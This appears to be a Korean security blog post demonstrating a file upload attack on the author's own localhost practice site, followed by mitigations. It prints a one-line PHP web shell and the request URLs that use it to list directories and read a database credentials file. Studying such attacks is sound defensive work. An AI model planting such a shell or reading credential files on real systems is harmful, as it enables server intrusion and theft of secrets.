본문 바로가기

보안지식/File Upload

file upload 공격 - 시나리오

안녕하세요 전 포스팅에 만든 사이트의 취약점 이용해서 공격 시나리오을 짜보겠습니다.

 

간단히 말씀드리자면 제가 나쁜 놈이라고 빙의하고 공격을 해보는 겁니다!

 

시작하겠습니다.

 

 

 

________________________________________________________________________________________________

 

이 게시판 사이트에 php문이나 코드 문 파일이 올라가지는 것을 확인했습니다. 그리고 다운로드 링크에 경로가 표시가 되어 있습니다. 이 취약점을 통해 File Upload 공격이 통하는 것을 찾았습니다. 

 

 

-File Upload 공격

 

파일에 php문이나 스크립트 문을 짜서 서버에 올린 다음에 다운로드 경로 통해 그 코드를 실행하는 공격입니다.

실행되는 위치가 서버 내에서 일어 나서 컴퓨터의 정보를 탈취할 수 있습니다.

 

File Upload 공격

 

 

 

취약점 발견된 사이트: 제 실습 페이지

 

 

***공격 과정

 

php문-

<?php
	echo "Script Running!";
?>

 

게시판 작성 후 다운로드 링크 확인

 

 

http://localhost/uploads/test2.php

 

링크 따라 들어가 보면 php문이 실행이 됩니다.

 

 

 

그리고 한 줄 웹 쉘을 작성해 서버에 명령을 내릴 수 있습니다.

 

<?php
	echo system($_GET['cmd']);
?>

 

http://localhost/uploads/test3.php?cmd=ls

 

 

 

 

그리고 ls+../ 통해 상위 파일을 확인할 수 있었습니다.

 

 

http://localhost/uploads/test3.php?cmd=ls+../

 

 

 

그리고 cat+../DB INFO.php 로 내용을 볼 수 있습니다.

 

http://localhost/uploads/test3.php?cmd=cat+../DB_INFO.php

 

 

 

이뿐만 아니라 다른 페이지의 코드를 볼 수 있고 또 다른 취약점을 찾을 수 있었습니다.

 

 

 

________________________________________________________________________________________________

 

 

***대응 방법

DB에 저장을 하게 합니다. DB에 저장을 하면 파일을 실행할 수 없으니깐요

 

file의 형식, 크기를 제한합니다. 

 

파일 형식 검증합니다. ex) MIME 타입 검사

 

파일 저장 위치를 안 보이게 파일을 다운할 때 필요한 php문을 따로 만듭니다.